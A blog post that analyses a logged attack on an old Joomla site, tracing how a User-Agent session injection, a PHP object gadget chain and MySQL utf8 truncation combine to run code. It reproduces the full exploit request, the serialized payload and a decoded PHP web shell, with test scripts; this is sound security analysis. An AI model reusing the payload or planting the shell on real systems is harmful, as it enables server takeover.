Advanced code reuse

You'd never guess what a little creativity could do with old, boring classes

Years ago I gave an in-house talk about a vulnerability that's so tangled, so improbable, that it still amazes me to this day.

It all started with a remarkably strange line in the web server logs. You could find a lot of strange lines in the logs of a web server connected to the public Internet, but remarkably strange ones...

192.0.2.1 - - [16/Oct/2018:17:33:48 +0000] "GET /?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B HTTP/1.1" 301 178 "-" "}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:46:\x22eval($_REQUEST[1]);JFactory::getConfig();exit;\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\x9D\x8C\x86"

There are two interesting parts to this request. The data in the GET parameter (named 1) and the value of the user agent (the part between quotes at the end). Let's look at the GET parameter first.

Remote access

After decoding and some formatting, we get the following PHP code (by the way, CyberChef is a great tool to do such things):

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);

echo '->|';
file_put_contents(
  $_SERVER['DOCUMENT_ROOT'].'/webconfig.txt.php',
  base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+')
);
echo '|<-';

It tries to write something into the webconfig.txt.php file. After a quick base64_decode, we get another code:

<?php eval($_POST[1]);?>

It's a simple PHP remote shell an attacker could use to run any PHP code on the machine. But why encode it with base64? The moment I saved the file of this post containing the code above I got an alert from the antivirus software that it found a backdoor, but it couldn't be bothered by the base64 encoded string.

The problem is that the original HTTP request wasn't for the webconfig.txt.php file so the remote shell couldn't run the code it got from the 1 parameter. And anyway, why would they send a command to the remote shell to create itself? There must be some naughtiness in the user agent.

Code reuse

After a bit of formatting and decoding, we got this:

}__test|O:21:"JDatabaseDriverMysqli":3:{
  s:2:"fc";O:17:"JSimplepieFactory":0:{}
  s:21:"\0\0\0disconnectHandlers";a:1:{
    i:0;a:2:{
      i:0;O:9:"SimplePie":5:{
        s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}
        s:8:"feed_url";s:46:"eval($_REQUEST[1]);JFactory::getConfig();exit;";
        s:19:"cache_name_function";s:6:"assert";
        s:5:"cache";b:1;
        s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}
      }
      i:1;s:4:"init";
    }
  }
  s:13:"\0\0\0connection";b:1;
}\xF0\x9D\x8C\x86

There is no shortage of naughtiness here, that's for sure. It starts with a } character right away. That could be part of some kind of injection and they try to close the previous value with it.

The next part could remind experienced PHP developers of the output of the serialize function, but it's not quite the right format. The session_encode function has such a result and PHP stores the content of the session with this encoding. There is a strange \xF0\x9D\x8C\x86 part at the end as well. I couldn't figure that out yet, but I'm sure it's up to no good.

It looks like they try to create a new variable in the session through the User-Agent header. This new __test variable would be an instance of the JDatabaseDriverMysqli class. It has an active connection (connection is true) and a disconnect handler, the init method should be called on an instance of the SimplePie class in case of disconnect. This already sounds a bit strange, but if we take a look at the value of the feed_url, it gets more suspicious:

eval($_REQUEST[1]);JFactory::getConfig();exit;

Yet another remote shell, just to be sure.

Deep in the Joomla

With the help of the class names starting with a J, we could figure out that it's about Joomla. With a bit more research we could even find the vulnerability as well which contains the exact version. Now we can check out the source code. The relevant part of the JDatabaseDriverMysqli class:

public function __destruct()
{
    $this->disconnect();
}

public function disconnect()
{
    if ($this->connection)
    {
        foreach ($this->disconnectHandlers as $h)
        {
            call_user_func_array($h, array( &$this));
        }

        mysqli_close($this->connection);
    }

    $this->connection = null;
}

Before the removal of the object, it calls the disconnect method which runs all the disconnect handlers. In our case the init method of our suspicious SimplePie class:

function init()
{
    // ...

    $cache = call_user_func(
        array($this->cache_class, 'create'),
        $this->cache_location,
        call_user_func($this->cache_name_function, $this->feed_url),
        'spc'
    );

    // ...
}

The interesting part for us is that it calls the cache_name_function with the feed_url as the parameter. With the data from the user agent, this would end up as the following function call:

call_user_func('assert', 'eval($_REQUEST[1]);JFactory::getConfig();exit;');

It's quite an old vulnerability so it depends on the behaviour of the assert function before PHP 8.0.0. It runs the string it got as PHP code and checks the result. So this call would run the PHP code it got in the GET parameter.

We managed to solve the request, it's time to summarize what we found out:

  • there is a PHP code in a GET parameter that would create a remote shell if it runs
  • the content of the user agent looks like an injection that would create a new variable in the session
  • the new variable is a carefully crafted object structure that would run the code in the GET parameter during the removal of the object

Joomla at some point puts the user agent into the session. Depending on the configuration this session could be stored in many places, but the default setting is that it gets saved in a MySQL table with the MySQLi driver. Another important detail here is that it sets the character set of the database connection to utf8 (and most likely the database and the tables have the same utf8 character set as well). But how would we end up with an injection?

Strange behaviors

We have two suspects remaining: the session handling of PHP and the data storage in MySQL. Let's start with the PHP. Here is a simple example to see how the session_encode works:

session_start();

$_SESSION['foo'] = array();
$_SESSION['bar'] = 'something';

print(session_encode() . "\n");
$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
foo|a:0:{}bar|s:9:"something";

Now that we roughly know what the expected output looks like we can try to add some naughtiness to it:

session_start();

$_SESSION['foo'] = array();
$_SESSION['evil'] = "}__test|O:8:\"stdClass\":1:{s:4:\"evil\";b:1;}\xF0\x9D\x8C\x86";
$_SESSION['bar'] = 'something';

print(session_encode() . "\n");
$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
foo|a:0:{}evil|s:46:"}__test|O:8:"stdClass":1:{s:4:"evil";b:1;}𝌆";bar|s:9:"something";

Nothing exciting yet, it just runs serialize on our naughtiness. Even the strange \xF0\x9D\x8C\x86 string turned out to be just a 4-byte UTF-8 character. But what happens if we try to decode this data?

$data = session_encode();

$_SESSION = array();
session_decode($data);

var_dump($_SESSION);
$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
array(3) {
  ["foo"]=>
  array(0) {
  }
  ["evil"]=>
  string(46) "}__test|O:8:"stdClass":1:{s:4:"evil";b:1;}𝌆"
  ["bar"]=>
  string(9) "something"
}

Absolutely nothing extraordinary. It's so disappointing. Maybe that \xF0\x9D\x8C\x86 part is related to MySQL. Let's start a server and check it out.

docker-compose.yml
version: '3'
services:
  app:
    image: php:5.3.29
    volumes:
      - .:/app
    working_dir: /app
  db:
    image: mysql:5.6.51
    environment:
      MYSQL_ROOT_PASSWORD: secret
      MYSQL_DATABASE: test

Our little test script connects to the database, sets the character set of the connection to utf8, creates a table with the same character set, and inserts a row that contains our naughty little byte sequence in the middle. And finally, we read the data back.

$db = new mysqli('db', 'root', 'secret', 'test');
$db->set_charset('utf8');

$db->query("CREATE TABLE test (id INTEGER NOT NULL AUTO_INCREMENT PRIMARY KEY, data TEXT NOT NULL) CHARACTER SET utf8");

$stmt = $db->prepare("INSERT INTO test (data) VALUES (?)");

$data = "foo\xF0\x9D\x8C\x86bar";

$stmt->bind_param('s', $data);
$stmt->execute();

$result = $db->query("SELECT * FROM test");
var_dump($result->fetch_assoc());

$db->query("DROP TABLE test");
$ docker-compose run --rm app php test.php
array(2) {
  ["id"]=>
  string(1) "1"
  ["data"]=>
  string(3) "foo"
}

At long last, something is happening. Part of the original data with our naughty string vanished.

The trick is that the utf8 character set (its full name is utf8mb3, also known as 3-Byte UTF-8 Unicode Encoding) isn't able to handle 4-byte UTF-8 characters (there is another character set for that called utf8mb4). If it encounters such a byte sequence it discards it with the rest of the data as well. It only stores the data up until the invalid character.

Let's look at the session_decode again to see what would happen if we simulate this behavior:

$data = session_encode();
$data = substr($data, 0, strpos($data, "\xF0\x9D\x8C\x86"));

$_SESSION = array();
session_decode($data);

var_dump($_SESSION);
$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
array(3) {
  ["foo"]=>
  array(0) {
  }
  ["evil"]=>
  NULL
  ["46:"}__test"]=>
  object(stdClass)#1 (1) {
    ["evil"]=>
    bool(true)
  }
}

Looks like PHP handles incomplete session data rather poorly. With that, we finally have the last piece of the puzzle in its place. We managed the reproduce the behavior that leads to the creation of a remote shell on the server by that remarkably strange HTTP request.

Observant readers may have spotted that I used quite an old version of PHP and MySQL in the examples. The reason is simple, in more recent versions this would not work.

Inserting our naughty little byte sequence in MySQL 5.7.42:

$ docker-compose run --rm app php test.php
Fatal error: Uncaught exception 'mysqli_sql_exception' with message 'Incorrect string value: '\xF0\x9D\x8C\x86ba...' for column 'data' at row 1' in /app/test.php:14
Stack trace:
#0 /app/test.php(14): mysqli_stmt->execute()
#1 {main}
  thrown in /app/test.php on line 14

Decoding mangled session data in PHP 5.4.45:

$ docker run --rm --volume $(pwd):/app --workdir /app php:5.4.45 php test.php
Warning: session_decode(): Failed to decode session object. Session has been destroyed in /app/test.php on line 43
array(1) {
  ["foo"]=>
  array(0) {
  }
}

Summary

It was a long journey, let's review what it took to exploit this vulnerability:

  • an older version of PHP and MySQL (at the time of the publication of this vulnerability PHP 5.4 and MySQL 5.7 have been available for years)
  • storing the session in MySQL in a table with a utf8 character set and with a database connection with a utf8 character set as well
  • storing untrusted user data in the session
  • the existence of classes in the code that, if combined in an unusual way, will eventually successfully execute a string as PHP code

What's the lesson learned? I don't know... things could go sideways even if you do everything right? In any case, remember this little investigation the next time you think that a potential vulnerability (be it in a library you use, the interpreter of your language of choice, or the database) cannot be exploited through your code.

Further reading

Ez a bejegyzés magyar nyelven is elérhető: Kód újrahasznosítás felsőfokon

Have a comment?

Send an email to the blog at deadlime dot hu address.

Want to subscribe?

We have a good old fashioned RSS feed if you're into that.